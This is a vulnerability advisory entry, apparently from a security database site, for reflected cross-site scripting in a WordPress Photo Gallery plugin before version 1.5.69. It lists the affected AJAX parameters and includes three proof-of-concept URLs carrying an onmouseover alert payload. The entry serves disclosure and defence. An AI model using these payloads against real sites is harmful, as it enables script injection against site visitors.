Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpexploitWpvulndbWPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A
HistoryApr 19, 2021 - 12:00 a.m.

Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)

2021-04-1900:00:00
wpvulndb
66
JSON

The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag=%22%20onmouseover=alert(1)%3E

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme_id=%22%20onmouseover=alert(1)%3E

https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery_id=1%22%20onmouseover=alert(1)%3E

Related

nuclei 1
prion 3
wpvulndb 1
cve 3
nuclei
nuclei
WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
2021-07-26 17:18:45
prion
prion
Cross site scripting
2021-05-14 12:15:00
Cross site scripting
2023-06-07 14:15:00
Design/Logic Flaw
2022-11-29 21:15:00
wpvulndb
wpvulndb
Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)
2021-04-19 00:00:00
cve
cve
CVE-2021-24291
2021-05-14 12:15:00
CVE-2021-46889
2023-06-07 14:15:00
CVE-2021-31693
2022-11-29 21:15:00
JSON
Related for WPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A
nuclei1prion3wpvulndb1cve3